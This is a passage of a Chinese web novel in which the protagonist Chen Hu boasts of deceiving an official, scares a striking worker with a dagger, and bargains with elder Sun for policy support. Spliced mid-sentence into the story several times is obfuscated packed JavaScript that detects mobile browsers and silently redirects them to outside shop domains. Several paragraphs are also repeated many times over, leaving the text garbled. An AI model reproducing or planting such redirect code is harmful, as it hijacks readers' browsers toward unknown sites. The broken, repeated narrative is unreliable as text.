孙若薇随后走到床边,脸上带着一丝忧虑。 “有个坏消息要告诉你。” 陈虎坐起身,示意孙若薇坐下说。 “贷款的事情,可能有些麻烦。”孙若薇语气有些沉重的说道。 “虽然我动用了孙家的关系,但是审批的进度,很不顺利。” 陈虎闻言,不由得皱了皱眉,问道:“怎么回事?” “我怀疑,我父母可能已经提前打过招呼了。”孙若薇的眼神之中,闪过了一丝无奈道:“他们一直都反对我和你合作!” 陈虎听到这话,顿时沉默了片刻,而后,陈虎淡淡的说道:“没事!有你爷爷在,这不算什么大事!” 语气之中,陈虎带着一丝自信。 孙若薇闻言,不由得愣了一下。 “我爷爷?” “嗯!”陈虎点了点头。 “孙老的 面子他们还是要给的。” “而且……”陈虎顿了顿嘴角露出一丝意味深长的笑容道:“就算你爷爷不出面有孙承恩在他就算败光当地政府信用公信力也要去想办法解决这个问题的。” 孙若薇听到陈虎这话一脸疑惑。 “什么意思?” 陈虎笑了笑没有直接回答而是反问道:“假设今天你要出海游玩挑选船只。” 孙若薇闻言点了点头不明白陈虎为什么突然会说起这个。 “有两个船主一个告诉你他收费公道有着十几年的出海经验并且知道哪一片海域的风景最好。” 陈虎说到这里顿了顿然后继续说道: “另一个船主则说坐他的船出行不仅有真皮座椅出行舒适并且只收取半价还额外附赠一顿海鲜大餐。” 陈虎看着孙若薇眼神之中带着一丝玩味道:“你会怎么选?” 孙若薇闻言想了想然后说道:“应该是第二个!” 听到这个答案陈虎不由得笑了笑。 “表面上看第二个船主更划算。” “但实际上呢?” “也许第二个船主的经验不足或者船只本身有问题?”孙若薇试探性地回答。 “没错!”陈虎闻言直接打了个响指。 “大多数人都会被眼前的利益蒙蔽而忽略了潜在的风险。” “因为他们的信息渠道单一只能够看到船主想让他们看到的东西。” “而我……”陈虎顿了顿眼神之中闪过了一丝精光道:“我正在利用你爷爷的这面大旗打造一个信息茧房。” “信息茧房?这是什么?”孙若薇好奇的询问眼神之中有些疑惑。 陈虎笑着回道:“一种因思维惯性而产生的现象。” “就比如我现在同时动工各种大项目大规模的招工这一切都只是表象。” “我向孙承恩许诺了大量的就业岗位以及巨额的税收。” “这笔政绩在承诺之初仅仅只是一个需要多次杠杆的空壳。” “但孙承恩看不清其中的门道。” “他只知道孙老愿意投资。” “他也看到我的 项目在有条不紊地进行着。 “他还看到了司家的败退。 “和大部分人一样,孙承恩获取信息的渠道也很单一。 “人只能看得到自己的眼前! “最起码,大部分人都如此。 陈虎说到这里,拿起桌上的茶杯,轻轻抿了一口,继续解释。 “哪怕最后我的项目出现问题,孙承恩也会想办法给我兜底。 “就算要赌上当地政府的信誉,他也在所不惜。 “因为,他已经没有退路了。 “他的政绩,他的未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14607688|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,都和我绑在了一起。 陈虎这时候放下茶杯,嘴角勾起了一抹自信的弧度。 “这就是信息差的力量! “也是我掌控局势的关键! 孙若薇听完陈虎的话,顿时目瞪口呆。 她没想到陈虎的计划,竟然如此深远。 “所以……陈虎看着孙若薇,眼神之中,带着一丝玩味道:“贷款的事情,你不用担心。 “孙承恩会比你更着急! 孙若薇闻言,不由得深吸一口气,努力消化着陈虎的话。 “我明白了!孙若薇缓缓说道:“可这岂不是欺骗吗? “欺骗?陈虎重复了一遍孙若薇的话,嘴角带着一丝玩味的笑意道:“你好像很排斥这个词? “难道你认为,这个世界上的所有事情,都是光明正大,童叟无欺的吗? 孙若薇闻言,犹豫了片刻,最后轻轻的点了点头。 “我…… “我从小接受的教育,就是诚实守信。 陈虎听到孙若薇这话,顿时哈哈大笑起来。 “诚实守信? “小薇啊,你还是太年轻了! “你知道吗?有时候,欺骗才是推动社会进步的动力! “想想看,那些伟大的发明,那些划时代的创新,有多少是建立在所谓的‘欺骗’之上的? 陈虎随后拿起桌上的烟盒,抽出一支点燃。 “就拿最简单的例子来说,你知道望远镜吗? 陈虎深吸了一口烟,缓缓吐出烟圈。 “最早的望远镜,其实是为了观测天象,探索宇宙的奥秘。 “但后来呢? “它被用在了战争上,用来侦察敌情,指挥作战。 “这算不算欺骗? “它欺骗了敌人的眼睛,让敌人误判了局势。 “但正是这种‘欺骗’,推动了军事科技的发展。 陈虎随后弹了弹烟灰,继续说道。 “再比如,疫苗。 “你知道疫苗的原理吗? “就是把少量病毒注入人体,让身体产生抗体,从而抵抗疾病。 “这算不算欺骗? “它欺骗了人体的免疫系统,让它误以为真的受到了病毒的攻击。 “但正是这种‘欺骗’,拯救了无数人的生命。 陈虎说到这里,目光却是变得深邃起来。 “欺骗,永远是通向上层的捷径! “它是一个自我实现、自我服务,自我强化的预言! 第194章 这个世界,就是一个巨大的谎言! “你看看那些社会上流,那些光鲜亮丽的名人,有多少是靠着欺骗爬上去的?” “漂亮国的体育明星,靠着兴奋剂打破纪录,赢得金牌。” “娱乐明星,靠着潜规则和整形,拿到资源,成为偶像。” “你看看那些社会上流,那些光鲜亮丽的名人,有多少是靠着欺骗爬上去的?” “漂亮国的体育明星,靠着兴奋剂打破纪录,赢得金牌。” “娱乐明星,靠着潜规则和整形,拿到资源,成为偶像。” “你看看那些社会上流,那些光鲜亮丽的名人,有多少是靠着欺骗爬上去的?” “漂亮国的体育明星,靠着兴奋剂打破纪录,赢得金牌。” “娱乐明星,靠着潜规则和整形,拿到资源,成为偶像。” “你看看那些社会上流,那些光鲜亮丽的名人,有多少是靠着欺骗爬上去的?” “漂亮国的体育明星,靠着兴奋剂打破纪录,赢得金牌。” “娱乐明星,靠着潜规则和整形,拿到资源,成为偶像。” “你看看那些社会上流,那些光鲜亮丽的名人,有多少是靠着欺骗爬上去的?” “漂亮国的体育明星,靠着兴奋剂打破纪录,赢得金牌。” “娱乐明星,靠着潜规则和整形,拿到资源,成为偶像。” “你看看那些社会上流,那些光鲜亮丽的名人,有多少是靠着欺骗爬上去的?” “漂亮国的体育明星,靠着兴奋剂打破纪录,赢得金牌。” “娱乐明星,靠着潜规则和整形,拿到资源,成为偶像。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14607689|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你看看那些社会上流,那些光鲜亮丽的名人,有多少是靠着欺骗爬上去的?” “漂亮国的体育明星,靠着兴奋剂打破纪录,赢得金牌。” “娱乐明星,靠着潜规则和整形,拿到资源,成为偶像。” “你看看那些社会上流,那些光鲜亮丽的名人,有多少是靠着欺骗爬上去的?” “漂亮国的体育明星,靠着兴奋剂打破纪录,赢得金牌。” “娱乐明星,靠着潜规则和整形,拿到资源,成为偶像。” “你看看那些社会上流,那些光鲜亮丽的名人,有多少是靠着欺骗爬上去的?” “漂亮国的体育明星,靠着兴奋剂打破纪录,赢得金牌。” “娱乐明星,靠着潜规则和整形,拿到资源,成为偶像。” 第195章 陈虎就像一个谜,让人捉摸不透! 陈虎、孙若薇两人,跟着负责人来到工人们临时搭建的食堂。 顿时,一股馊味扑鼻而来。 五张简陋的桌子上面,摆着几盆稀粥和一些榨菜。 这就是工人们的午餐。 陈虎见此,脸色瞬间便阴沉下来。 他清楚地记得自己订下的待遇标准,顿顿要有肉有菜,伙食标准远高于其他工地。 “这就是你安排的伙食?”陈虎的声音冰冷刺骨,吓得负责人浑身一颤。 “陈,陈总,我……”负责人支支吾吾,不敢辩解。 陈虎没有再理会他,他知道现在最重要的是解决工人的罢工问题。 工地上,数百名工人围成一圈,群情激愤,嚷嚷着要改善伙食。 陈虎叫上马老三和几个打手,径直走到人群中央。 “谁是带头的?” 陈虎的声音不大,却带着一股不容置疑的威严。 人群之中,一个壮汉随后站了出来,梗着脖子喊道:“是我!我们每天累死累活,就吃这玩意儿,让我怎么活?” 陈虎二话不说,示意马老三将那个壮汉拉了出来。 随后,陈虎就从腰间抽出了一把匕首,在壮汉的眼前晃了晃。 “想闹事?”陈虎的语气森冷道:“那你这只手,还想不想要了?” 壮汉看着那闪着寒光的匕首,顿时就吓得魂飞魄散,裤裆里面,也是隐隐传来一股骚味。 陈虎见此,不由得冷笑一声,随后将匕首收了起来。 “这次就放过你!若你再敢闹事,那后果自负!” 随即,陈虎转身面对所有的工人,高声说道:“我不喜欢闹事的人,也更不喜欢背着我阳奉阴违的人。现在给你们安排伙食的负责人,我会开除他,你们的伙食之后也会恢复正常的。” 工人们闻言,顿时都安静下来,他们已经被陈虎的狠辣手段震慑住了。 陈虎环视一周,眼神锐利如刀。 “我陈虎说话算话,只要你们好好干活,我保证不会亏待你们的!” 他知道,要想掌控这些人,只有恩威并施,那才是王道。 恐惧,能让这些人暂时屈服。 但只有利益,才能真正地收买人心。 他需要一支绝对服从的队伍为他开疆拓土。 而这些工人就是他未来王国的基石。 孙若薇站在一旁看着陈虎处理事情的果断狠辣心中不由得五味杂陈。 她是越来越看不透这个男人了。 陈虎就像一个谜让人完全捉摸不透。 她不知道她究竟是该害怕陈虎还是该相信陈虎。 而陈虎处理完罢工事件之后转身就离开了喧闹的工地。 孙若薇快步跟上犹豫了一下还是开口询问。 “你刚才……真的要砍断他的手吗?” 陈虎停下脚步回头看着她。 阳光洒在他的脸上勾勒出棱角分明的轮廓。 他微微一笑语气轻松。 “你觉得呢?” 孙若薇闻言一时语塞想起刚才陈虎的狠辣手段心中仍有些后怕。 陈虎看着孙若薇略显苍白的脸笑意更深。 “我看起来像那种动不动就砍人手的暴徒吗?” 说完陈虎便摊开双手做出一副无辜的表情。 “我才不到二十岁和你差不多大 孙若薇看着陈虎眼神之中充满了疑惑。 随后陈虎继续说道:“我只是想吓唬吓唬他们让他们知道我不是好惹的!” 顿了顿陈虎的语气变得认真起来。 “如果今天我不给他们点颜色看看以后他们还会变本加厉的。” “因为一点小事就罢工闹事那我的项目还怎么进行下去?” 孙若薇听着陈虎的解释觉得似乎有些道理但她的心中仍然隐隐不安。 陈虎看着孙若薇将信将疑的样子心中不由得暗笑。 与此同时陈友谅的影子在陈虎的脑海中一闪而过。 那个凶残迷信崇尚暴力的历史人物。 很多时候他觉得他和陈友谅并没有什么区别。 一样的野心勃勃一样的杀伐果断。 但不同的是他知道如何利用这些“负面”的特质。 他知道什么时候该狠什么时候该柔。 他知道如何掌控人心如何玩弄权术。 他不 认同陈友谅的自私与狠毒。 但他知道如何利用它们,为自己铺路。 陈虎收起思绪,再次看向孙若薇。 “放心吧!我心里有数!” 陈虎的语气温和,眼神却深邃如海。 孙若薇痴痴的看着陈虎,最终还是没有再问。 她感觉她是越来越看不透陈虎了。 陈虎就像一个谜,让人捉摸不透! 他的笑容,他的眼神,他的话语,都充满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14617627|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了矛盾和复杂。 但有一点,孙若薇很清楚。 她已经完完全全被眼前的这个男人,给迷住了。 迷恋一个恶魔般的男人,往往都是一种复杂而深刻的情感体验。 这种情感可能源于男人强烈的个性、魅力和神秘感,使得女人在吸引与害怕之间摇摆。 尤其是孙若薇这样的少女,更加容易摇摆。 再加上,和陈虎这样的男人有关系,往往充满着激情和刺激,但也可能伴随着不安和痛苦。 在这种吸引力的背后,有时隐藏着对禁忌、冒险和挑战的渴望。 而如果沉迷于这种情感中的话,那可能会让人体验到疯狂与失控的感觉。 一般而言,能够时刻保持自我意识,认真思考这段感情带来的影响和后果,就不会沉溺其中。 当然,对于一个已经陷进去的青春期少女而言,她可没有这样的自控能力与自主意识。 夕阳西下,染红了半边天。 一辆老旧的吉普车,颠簸在通往镇上的土路上。 陈虎握着方向盘,目光注视着前方。 孙若薇坐在副驾驶,时不时偷瞄他一眼。 车厢内的气氛,有些沉闷。 “紧张?” 陈虎突然开口,打破了沉默。 孙若薇闻言,连忙摇头道:“没有!” “不用紧张,你爷爷又不是老虎!”陈虎随即打趣着轻笑一声。 “谁……谁紧张了!”孙若薇听到陈虎的打趣,不由得脸颊微红,语气有些急促。 陈虎闻言,并没有再说话。 而他的嘴角,却是勾起了一抹不易察觉的弧度。 他知道孙若薇在紧张。 这丫头表面上装作若无其事,其实心里慌得一批。 毕竟,这次拜访关系到项目的成败,也关系到她自己的未来。 吉普车停在了孙家老宅门口。 这是一栋古朴的二层小楼,院子里面,种满了花草。 空气之中,弥漫着淡淡的清香。 孙老已经等候多时。 他穿着一身唐装,精神矍铄,目光如炬。 “来了!” 孙老看到陈虎和孙若薇后,淡淡地开口。 “孙老!” 陈虎十分恭敬地和孙老打招呼问候。 孙若薇随后也跟着叫了一声“爷爷”! 孙老闻言,点了点头,然后示意他们进屋。 第196章 这场博弈,才刚刚开始! 客厅里,早已摆好棋盘。 “陪我下盘棋!” 孙老进屋后,就指着棋盘说道。 “荣幸之至!” 陈虎闻言,也不推辞。 两人随后便在棋盘上,展开厮杀。 第一局,陈虎胜。 第二局,孙老扳回一城。 第三局,陈虎再次获胜。 三局战罢,孙老便放下棋子,自嘲着说道:“老了!老了!不中用了!” 陈虎闻言,不由得笑了笑道:“孙老宝刀未老,小子赢得侥幸而已!” “哼!少拍马屁!”孙老瞪了他一眼道:“你小子,无事不登三宝殿!你今天来,到底有什么事情,就直说吧!” 听到孙老的话后,陈虎随即也不拐弯抹角,直接说道:“孙老明鉴,我这次过来,确实有事相求!” “说吧!” “我希望孙老能够在政策方面,给予一些支持。”陈虎开门见山的说道。 孙老闻言,沉默片刻,而后缓缓说道:“你想要什么?” “更多的优惠政策,更宽松的审批流程!”陈虎毫不掩饰他的野心。 孙老看着陈虎,眼神深邃道:“你知道这意味着什么吗?” “当然!”陈虎毫不畏惧地迎视着孙老的目光道:“这意味着,我们之间,是一场博弈!” “哦?”孙老闻言,饶有兴趣地挑了挑眉道:“说说看,你的博弈条件是什么?” “我们对坐对弈,本身就证明了博弈双方都满足了博弈条件。”陈虎语气平静的说道。 孙老目光一闪,很快就明白了陈虎话里面的寓意。 他需要陈虎的项目带动地方经济发展,而陈虎需要他的支持,来获得更大的利益。 “博弈有输赢,棋局与现实会重叠?”孙老冷冷地反问。 陈虎讪笑一声道:“孙老,博弈的结果分为正和博弈,零和博弈,负和博弈,不是一定有固定的赢家与输家。” 顿了顿,陈虎语气变得认真起来道:“我们的博弈,将会是双赢的局面!” “双赢?”孙老闻言,捻着手中的棋子,嘴中不由得呢喃了一句,浑浊的眼中闪过一丝精光。 “说说看,你所谓的双赢,到底指的是 什么?” 陈虎听到孙老的问话当即微微一笑不卑不亢的向孙老解释着。 “孙老您需要政绩需要发展需要让孙家在县城里面的地位更加稳固。” “而我需要政策的支持需要一个可以施展拳脚的平台。” “我建工业园带动就业促进经济发展这便是您的政绩!” “您给予我政策上的扶持让我可以更快地发展壮大这便是我需要的平台。” “如此一来您得名我得利那我们岂不是双赢?” 孙老没有说话 这小子年纪轻轻却有着不输于老狐狸的城府。 “你说的双赢只是正和博弈的一种。”孙老缓缓开口语气之中带着一丝考究。 “说说看其他的博弈结果呢?” 陈虎早有准备胸有成竹。 “正和博弈正如我刚才所说双方都获得利益实现共赢。” “零和博弈一方的所得正是另一方的所失一方得益必然意味着另一方吃亏。” 陈虎顿了顿目光锐利起来。 “就像我和司家不是你死就是我亡。” 孙老的脸色微微一变眼神之中闪过一丝不易察觉的寒意。 陈虎这小子竟然敢当着他的面提起司家! “还有负和博弈!”陈虎继续说道。 “双方都遭受损失两败俱伤。” “就像两虎相争必有一伤。” “甚至于两败俱伤之后还会被第三方渔翁得利。” 陈虎的语气平静却带着一股不容置疑的威严。 孙老闻言沉默了。 他不得不承认陈虎分析得很有道理。 这三种博弈结果在现实生活中都存在。 而他与陈虎之间的博弈究竟会是哪一种结果? “你想要什么样的支持?”孙老终于开口毕竟陈虎的项目是他现在所急需的。 “我要最优惠的政策最宽松的审批流程。”陈虎毫不客气地提出了他的要求。 “我要在最短的时间内将工业园建成。” “我要让它成为县城乃至整个地区最大的工 业中心。” 陈虎的语气之中充满了野心和自信。 孙老看着陈虎眼神复杂。 这小子胃口还真不小! “我可以给你政策上的支持但你也要保证你的项目能够真正地带动地方经济发展。”孙老沉声说道。 “这是自然。”陈虎微微一笑。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“合作愉快!” 两只手随即紧紧地握在一起。 而这场博弈才刚刚开始! 第197章 你也不过是那只自以为是的乌鸦罢了! 陈虎走出孙家老宅,坐上吉普车,没有回到上河村,而后直接驱车赶往县城。 吉普车在坑洼的土路上颠簸,陈虎点燃一根烟,深深吸了一口。 烟雾缭绕中,他想起易天行那个老家伙曾经讲过的一个故事。 陈虎走出孙家老宅,坐上吉普车,没有回到上河村,而后直接驱车赶往县城。 吉普车在坑洼的土路上颠簸,陈虎点燃一根烟,深深吸了一口。 烟雾缭绕中,他想起易天行那个老家伙曾经讲过的一个故事。 陈虎走出孙家老宅,坐上吉普车,没有回到上河村,而后直接驱车赶往县城。 吉普车在坑洼的土路上颠簸,陈虎点燃一根烟,深深吸了一口。 烟雾缭绕中,他想起易天行那个老家伙曾经讲过的一个故事。 陈虎走出孙家老宅,坐上吉普车,没有回到上河村,而后直接驱车赶往县城。 吉普车在坑洼的土路上颠簸,陈虎点燃一根烟,深深吸了一口。 烟雾缭绕中,他想起易天行那个老家伙曾经讲过的一个故事。 陈虎走出孙家老宅,坐上吉普车,没有回到上河村,而后直接驱车赶往县城。 吉普车在坑洼的土路上颠簸,陈虎点燃一根烟,深深吸了一口。 烟雾缭绕中,他想起易天行那个老家伙曾经讲过的一个故事。 陈虎走出孙家老宅,坐上吉普车,没有回到上河村,而后直接驱车赶往县城。 吉普车在坑洼的土路上颠簸,陈虎点燃一根烟,深深吸了一口。 烟雾缭绕中,他想起易天行那个老家伙曾经讲过的一个故事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14617629|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈虎走出孙家老宅,坐上吉普车,没有回到上河村,而后直接驱车赶往县城。 吉普车在坑洼的土路上颠簸,陈虎点燃一根烟,深深吸了一口。 烟雾缭绕中,他想起易天行那个老家伙曾经讲过的一个故事。 陈虎走出孙家老宅,坐上吉普车,没有回到上河村,而后直接驱车赶往县城。 吉普车在坑洼的土路上颠簸,陈虎点燃一根烟,深深吸了一口。 烟雾缭绕中,他想起易天行那个老家伙曾经讲过的一个故事。 陈虎走出孙家老宅,坐上吉普车,没有回到上河村,而后直接驱车赶往县城。 吉普车在坑洼的土路上颠簸,陈虎点燃一根烟,深深吸了一口。 烟雾缭绕中,他想起易天行那个老家伙曾经讲过的一个故事。 第198章 康采恩 当然,陈虎的话再诱惑,也会有人会对他的话,产生质疑的。 “虎哥,现在各行各业都有竞争,谁敢埋头就跟着你抛下家业地去赌这个洗白的机会啊?”黑熊再次提出了质疑。 他的脸上,此时写满了不信任。 当然,陈虎的话再诱惑,也会有人会对他的话,产生质疑的。 “虎哥,现在各行各业都有竞争,谁敢埋头就跟着你抛下家业地去赌这个洗白的机会啊?”黑熊再次提出了质疑。 他的脸上,此时写满了不信任。 当然,陈虎的话再诱惑,也会有人会对他的话,产生质疑的。 “虎哥,现在各行各业都有竞争,谁敢埋头就跟着你抛下家业地去赌这个洗白的机会啊?”黑熊再次提出了质疑。 他的脸上,此时写满了不信任。 当然,陈虎的话再诱惑,也会有人会对他的话,产生质疑的。 “虎哥,现在各行各业都有竞争,谁敢埋头就跟着你抛下家业地去赌这个洗白的机会啊?”黑熊再次提出了质疑。 他的脸上,此时写满了不信任。 当然,陈虎的话再诱惑,也会有人会对他的话,产生质疑的。 “虎哥,现在各行各业都有竞争,谁敢埋头就跟着你抛下家业地去赌这个洗白的机会啊?”黑熊再次提出了质疑。 他的脸上,此时写满了不信任。 当然,陈虎的话再诱惑,也会有人会对他的话,产生质疑的。 “虎哥,现在各行各业都有竞争,谁敢埋头就跟着你抛下家业地去赌这个洗白的机会啊?”黑熊再次提出了质疑。 他的脸上,此时写满了不信任。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14630879|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然,陈虎的话再诱惑,也会有人会对他的话,产生质疑的。 “虎哥,现在各行各业都有竞争,谁敢埋头就跟着你抛下家业地去赌这个洗白的机会啊?”黑熊再次提出了质疑。 他的脸上,此时写满了不信任。 当然,陈虎的话再诱惑,也会有人会对他的话,产生质疑的。 “虎哥,现在各行各业都有竞争,谁敢埋头就跟着你抛下家业地去赌这个洗白的机会啊?”黑熊再次提出了质疑。 他的脸上,此时写满了不信任。 当然,陈虎的话再诱惑,也会有人会对他的话,产生质疑的。 “虎哥,现在各行各业都有竞争,谁敢埋头就跟着你抛下家业地去赌这个洗白的机会啊?”黑熊再次提出了质疑。 他的脸上,此时写满了不信任。 第199章 这个世界,远比你想象得复杂! 关于对康采恩的理解,说起来,陈虎依旧得感谢易天行那个怪老头。 仍旧是那片孤岛海滩,阳光明媚,海浪掀起万重雪。 “康采恩,并非一种严格意义上的法律概念。” 易天行坐在沙滩上,不修边幅的喝着新鲜椰汁,镜片后的双眼闪烁着睿智的光芒。 陈虎坐在他的对面,静静地听着。 “它更像是一种经济现象,一种企业组织形式。” 易天行放下椰子,继续说着。 “它指的是以金融资本为核心,通过控股、参股等方式,将众多的企业联合起来,形成一个庞大的经济联合体。” 陈虎听到这里,点了点头,表示理解。 “这种联合体,可以涵盖银行、工厂、矿山、贸易公司等各个领域。”易天行顿了顿,然后十分认真的说道:“它的目的,是为了最大限度地集中资源,提高效率,增强竞争力。” “那它跟垄断有什么区别呢?”陈虎随后问道。 “康采恩本身并不违法,但它容易形成垄断。”易天行解释道:“因为它掌握了大量的资源,可以控制市场价格,排挤竞争对手。” “那为什么不直接说它是垄断呢?”陈虎不由得追问道。 “因为垄断是一个法律概念,需要满足一定的条件,才能够成立。”易天行说到这里,笑了笑道:“而康采恩只是一种组织形式,它本身并不违法。” “例如在韩国,康采恩作为一种独特的企业集团形式,其结构与运作模式对国家经济、立法活动乃至社会整体,都产生了深远影响。” “这类大型企业集团,通过其庞大的经济规模和资源配置能力,不仅在市场中占据主导地位,且在政策制定和立法方面,也展现出了显著的影响力。” “康采恩的垄断性质,在某种程度上被视为经济发展的驱动力。” “由于其雄厚的资本和市场控制力,康采恩能够通过游说、合规策略及其他形式,间接塑造立法环境,以维护其自身利益。” “这一现象促使相关立法在某种程度上,趋向于保护这些大型企业的既得利益,导致其垄断行为常常难以受到有效监管。” “此外,作为国家经济的‘命脉’,这些康采恩集团不 仅在财务上对韩国经济产生了重大影响,其稳健运作也被视为国家经济稳定与增长的关键因素。” “因此,政府在制定法律和政策时,往往会考虑到康采恩的立场,从而形成了微妙的利益博弈关系。” “这种现象反映了制度安排与市场力量之间的复杂互动,所以,即便是在二十一世纪的今天,世界上的任何国家也不可能将康采恩定性为违法行为。” …… 陈虎抵达马关口的第三日傍晚,孙若薇也跟了过来。 当孙若薇找到陈虎住下的酒店,推开门见到陈虎的第一时间内,便带着质问出声道:“你疯了?” 孙若薇几乎是吼出来的,她姣好的面容因为愤怒而微微扭曲。 “把资金外转投资?还要把产业带到市里?” 孙若薇用力地拍着桌子,茶杯里面的水都溅了出来。 陈虎闻言,却依旧平静,只是淡淡地看了孙若薇一眼。 “你知道这意味着什么吗?” 孙若薇闻言,不由得深吸一口气,努力让她自己冷静下来。 “这意味着稍有差错,导致资金断流的话,那马关口的一切,就都可能成为泡影!” 陈虎拿起茶杯,轻轻抿了一口。 “不!这只是计划的一部分!” 陈虎放下茶杯,目光深邃。 “康采恩,你听说过吗?” 孙若薇闻言,不由得愣了一下,摇了摇头。 陈虎开始解释,如同易天行在海滩上为他讲解一般。 “它是一种高级垄断组织,以金融资本为核心,控制众多企业,形成一个庞大的经济联合体。” “银行、工厂、矿山、贸易公司……所有的一切,都将被纳入其中。” 孙若薇听得目瞪口呆,她无法想象陈虎描绘的这个庞大帝国。 “这……这怎么可能?” 孙若薇喃喃自语,显然不敢相信。 陈虎见此,不由得笑了笑,眼神之中,却是闪烁着自信的光芒。 “没有什么不可能的!” 陈虎继续解释着康采恩的运作模式,比如该如何集中资源,如何提高效率,如何增强竞争力。 孙若薇渐渐明白了陈虎的计划,也明白了陈 虎的野心。 “马关口的项目全部动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649450|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工后,收益足够你走到台前,提升阶级了!” 说到这里,孙若薇看着陈虎,不解的质问道:“那些钱,你八辈子都花不完,为什么还要做这些呢?” 陈虎闻言,看着孙若薇,眼神之中,却是带着一丝怜悯。 “你还不明白什么是资本的无序扩张吗?”陈虎随后反问道。 孙若薇听到陈虎这话,当即摇了摇头,她确实不明白。 在她的认知里,钱够花就行了,为什么要无休止地追求更多? “我想要什么?” 陈虎重复着孙若薇的问题,嘴角却是勾起了一抹意味深长的笑容。 随后,陈虎走到窗边,看着外面繁华的县城,眼神之中,充满了野心和渴望。 这场游戏,没有规则,没有底线,只有胜者为王。 “资本的无序扩张,你还不懂。” 陈虎转过身,眼神深邃,仿佛能够洞穿一切一样。 “这个世界,远比你想象得复杂!” 随后,陈虎走到酒柜旁,给他自己倒了一杯威士忌。 “你知道吗?这个世界,其实是由无数个圈子构成的。” 陈虎轻轻摇晃着酒杯,琥珀色的液体在杯中旋转,同时十分认真地阐述他的经验,语气严肃。 “每个圈子,都有自己的规则,自己的游戏。” 陈虎这时候抿了一口酒,然后继续说道:“底层的人,为了生存挣扎,为了温饱奔波。” “中层的人,为了名利奋斗,为了地位拼搏。” “而顶层的人……” 说到这里,陈虎顿了顿,嘴角随即勾起了一抹嘲讽的笑容。 “他们玩的是更大的游戏,那是操控着整个世界的规则的游戏!” 陈虎这时候却是放下酒杯,然后看着孙若薇,慢慢的走到了孙若薇的面前。 “世界认知的撕裂,将人群划分成了不同的层次。” 陈虎的声音,此时低沉而有力,仿佛带着某种魔力一样。 “不同层次的人,追求不同,欲望也不同。” 说到这里,陈虎伸出手,指着孙若薇。 “你,现在就在努力地向上爬,想要进入更高的圈子。” 孙若薇闻言,当即沉默不语。 陈虎的这些话,却是让她感到一阵心悸。 第200章 我要做那盏灯! 看着孙若薇,陈虎的眼神突然变得冰冷,他说话的语气也更加认真。 “欲望,是向上的!” “每个人都渴望更好的生活,更高的地位,更大的权力。” “所以,大家都会削尖了脑袋向上挤,不择手段,你死我活。” 